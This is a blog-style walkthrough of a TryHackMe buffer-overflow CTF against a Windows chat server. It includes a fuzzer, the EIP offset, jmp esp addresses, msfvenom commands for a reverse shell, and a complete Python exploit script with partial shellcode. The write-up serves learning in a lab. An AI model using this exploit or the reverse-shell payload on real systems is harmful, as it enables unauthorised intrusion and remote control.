oRdInaRy.log

Brainstorm - TryHackMe CTF Walkthrough

Cover Image

Hello :D, and welcome to this walkthrough for a quite-challenging buffer overflow CTF! To be honest this room probably took me more to complete than it should have, but hopefully you'll still find this useful and enjoyable!

Initial Enumeration

Our first task is to answer two questions: how many ports are open, and the name of an executable file we need to find.

Port Scanning

I started with a standard nmap scan, but ran into immediate issues with timing, as for whatever reason some timeouts caused nmap to put insane delays between requests. Therefore the default scan was taking forever, so I had to add the -T4 flag to speed things up:

nmap -T4 -sV 10.X.X.X

This revealed our target ports:

Nmap scan report for 10.X.X.X
Host is up (0.20s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
3389/tcp open  ms-wbt-server Microsoft Terminal Services  
9999/tcp open  abyss?

Answer: 3 ports are open

The interesting part is port 9999 running an unknown service. The nmap fingerprint shows it's some kind of chat application:

Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters):

FTP Enumeration

Since we have FTP running, and it's exactly what one thinks first when it comes to file transfer more than a Python HTTP server, I decided to check if anonymous access was enabled. Microsoft FTP servers sometimes allow anonymous login:

Using macOS Finder (you can use any FTP client), I connected with:

Luckily this worked! Inside the FTP server I found a single directory:

a screenshot of this dir

Which inside had some files:

a screenshot of the files in the dir

These two are very likely:

Answer: The executable file is chatserver.exe

Understanding the Target Application

Before diving into exploitation, I wanted to understand the normal behavior. Using telnet:

telnet 10.X.X.X 9999

The application flow is simple:

  1. Asks for username (max 20 characters)
  2. Prompts to write a message
  3. Acts like a basic chat server

I also checked the line ending format as I though it would be important to exploitation using:

nc 10.X.X.X 9999 | hexdump -C

The output shows 0a (LF) characters, confirming it uses Unix-style line endings rather than Windows CRLF.

Setting Up the Testing Environment

VM Setup

To properly analyze this Windows application, I needed a Windows environment with Immunity Debugger. Based on the nmap OS detection (which suggested Windows Server 2008 R2), I set up a Windows 7 VM in VirtualBox.

Then I installed everything I needed:

File Transfer

I downloaded the files from the FTP server and transferred them to my Windows VM using Python's built-in HTTP server:

# On host machine
python3 -m http.server 8080

# Then download from VM browser

Static Analysis Phase

Before dynamic testing, I decided to do static analysis using Ghidra to understand the application structure.

Main Application Analysis

The chatserver.exe analysis revealed:

void __cdecl _Overflow(char *param_1)
{
  char local_7dc [2008];
  strcpy(local_7dc,param_1);
  return;
}

This is our vulnerability! The function copies user input into a 2008-byte buffer without any sort of bounds checking.

DLL Analysis

The CTF says we need to find any function with both ASLR and DEP disabled, these two aren't exactly tied to specific functions but whole executables, in this case by looking at the PE header the dependency DLL did't have these protections enabled. First I opened up the DLL with Ghidra.

The essfunc.dll contains several functions:

Though eventually when looking deeper for any instructions we could use (usually jmp esp) I used IDA instead of Ghidra and was able to see all of the functions _EssentialFunc2-9 actually contained a single thing: a jmp esp instruction preceded by some setup instructions that aren't important.

Checking ASLR/DEP Status

If you wonder how I confirmed the DLL has protections disabled, I checked the PE header:

# Check PE header offset
xxd -s 0x3C -l 4 essfunc.dll
# Output: 8000 0000 (offset at 0x80)

# Check DllCharacteristics  
xxd -s 0xDE -l 2 essfunc.dll
# Output: 0000 (no protection flags set)

This confirms ASLR and DEP are disabled on the DLL - which is just what we need!

Dynamic Analysis and Exploitation

Initial Fuzzing

I created a Python fuzzer to find the crash point:

import socket
import time
import sys

HOST = "10.X.X.X"  # Your VM IP
PORT = 9999
TIMEOUT = 5
USERNAME = "imgonnah4cku"

message = "A" * 100

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.settimeout(TIMEOUT)
    s.connect((HOST, PORT))
    s.sendall(USERNAME.encode() + b"\n")

    while True:
        try:
            print(f"Fuzzing with {len(message)} bytes...")
            s.sendall(bytes(message + "\n", "latin-1"))
        except Exception as e:
            print(f"Crashed at {len(message)} bytes: {e}")
            sys.exit(0)

        message += "A" * 100
        time.sleep(1)

The first thing I saw was that it reported that the app crashed at 2600 bytes with a broken pipe, but I would quickly discover this was wrong in the future. Why? Idk, maybe an issue with detecting crashes or something similar, but I eventually found it.

Finding the EIP Offset

Using Metasploit's pattern generator:

/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 3000

I created a test script with the cyclic pattern and ran it against the target in Immunity Debugger:

import socket
import time

HOST = "<VM_IP>"
PORT = 9999
USERNAME = "imgonnah4cku"
message = "<cyclic_pattern_3000_chars>"

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        s.sendall(USERNAME.encode() + b"\n")
        time.sleep(1)
        s.sendall(bytes(message + "\n", "latin-1"))
except Exception as e:
    print(f"Failed: {e}")

Using mona: !mona findmsp -distance 3000

Then we got our EIP offset: 2012 bytes.

First Exploitation Attempt

I tried the classic approach with a simple EIP overwrite test:

message = "A" * 2012 + "BBBB" + "C" * (2600 - 2016)

This didn't work as expected. After more testing (which was to brute force different potential lengths because I didn't and still don't know why the fuzzer didn't work, what matters is to know that code is never flawless, and sometimes it doesn't even need to work, because as I already mentioned I just brute-forced it), I discovered the actual crash length was 2895 bytes, not 2600. So I changed this up a little bit to be:

message = "A" * 2012 + "BBBB" + "C" * (2895 - 2016)

Then finally with this EIP was overwritten to 4 Bs!

Finding JMP ESP Instructions

Using Immunity Debugger, I found multiple jmp esp instructions in the DLL:

Address    Function         Instruction
625014E0   _EssentialFunc2  jmp esp
625014EC   _EssentialFunc3  jmp esp  
625014F8   _EssentialFunc4  jmp esp
62501504   _EssentialFunc5  jmp esp
62501510   _EssentialFunc6  jmp esp
6250151C   _EssentialFunc7  jmp esp
62501528   _EssentialFunc8  jmp esp
62501534   _EssentialFunc9  jmp esp

This wasn't straightforward though, I LITERALLY wasted like 2 HOURS trying to see why in the world I was seeing a weird "privileged action" (or something around those lines) error, eventually I discovered it was because the addresses IDA gave where for whatever reason slightly off (probably I'm just dumb and got the address of the functions were the JMP ESP instruction was, instead of the address of JMP ESP itself) and all of them pointed to an opcode that was E4 FF which in human-readable is IN AL,0FF:

a screenshot of the wrong address

So therefore when EIP went to this address the program suffered 3 strokes and just crashed. Conclusion: just use !mona find -s "\xff\xe4" -m essfunc.dll pls, which gives you the possibility to get the EXACT address of any combination of bytes. also always verify that the address goes where you think it goes, the IDA addresses went where they shouldn't, while the ones found by mona.py were perfect:

a screenshot of a correct address

Shellcode Generation

The cool part: looking how metasploit generates payloads that are in pure shellcode and feel like a hacker movie >:D

First I did a simple payload that runs the calculator:

msfvenom -p windows/exec CMD=calc.exe -f python -b "\x00"

This is one is great for buffer overflows because it's small and great for testing, and after you get it to work it's almost ensured a reverse shell will do as nicely.

Talking about reverse shells:

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f python -b "\x00\x0a\x0d"

When running your exploit you might want to add some breakpoints (I recommend just as the address of the JMP ESP instruction you are using) and run u esp which shows you the disassembling of esp. Then verify it properly contains a NOP sled (essential almost always) and then your stuff:

a screenshot of how the disassembly of esp should look like

Final Working Exploit

Here's the complete, tested exploit I eventually made that got me a reverse shell:

import socket
import time
import struct

HOST = "10.X.X.X"  # Target IP
PORT = 9999
TIMEOUT = 5
USERNAME = "imgonnah4cku" # this can be anything

# msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f python -b "\x00\x0a\x0d"
# or any other msfvenom payload that'll work
buf =  b""
buf += b"\xd9\xcc\xbf\x39\x0d\x9d\x41\xd9\x74\x24\xf4\x5d"
buf += b"\x31\xc9\xb1\x52\x31\x7d\x17\x83\xc5\x04\x03\x44"
# ... (rest of shellcode)

offset_to_eip = 2012
jmp_esp_addr = 0x625014DF  # Working address, though it can be any of the ones mona.py manages to find
eip = struct.pack("<I", jmp_esp_addr)
nop_sled = b"\x90" * 16

# Calculate padding
total_length = 2895
padding_length = total_length - offset_to_eip - len(eip) - len(nop_sled) - len(buf)

# Build final payload
payload = b"A" * offset_to_eip + eip + nop_sled + buf + b"C" * padding_length

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(TIMEOUT)
        s.connect((HOST, PORT))
        s.sendall(USERNAME.encode() + b"\n")
        time.sleep(1)

        print("Sending exploit payload...")
        s.sendall(payload + b"\n")
        print("Payload sent!")

except Exception as e:
    print(f"Failed: {e}")

Remember to regenerate the shellcode but with your LHOST and PORT for a reverse-shell!

Leasons learned

Buffer overflows need lots of testing and confirming that stuff really went as it should, I think going for static analysis first is better, also always verify 3 times everything such as the address were your stuff is landing, and do simple tests such as EIP overwrite to slowly discard what's wrong if your exploit doesn't work. Also, knowing what could cause a "privileged instruction" error would have helped.

Conclusion

This one was quite hard though fun at least, buffer overflows will usually need lots of debugging and are very fragile in nature so double-check everything before calling your exploit ready! I always try to slowly write pieces of the walkthroughs I do while making the CTF as they usually also work as notes, but for this one I had to correct so much stuff I had actually gotten wrong so many times I straight up just wrote this one from scratch. Bye! :)

#bufferoverflow #ctf #reverse-engineering #walkthrough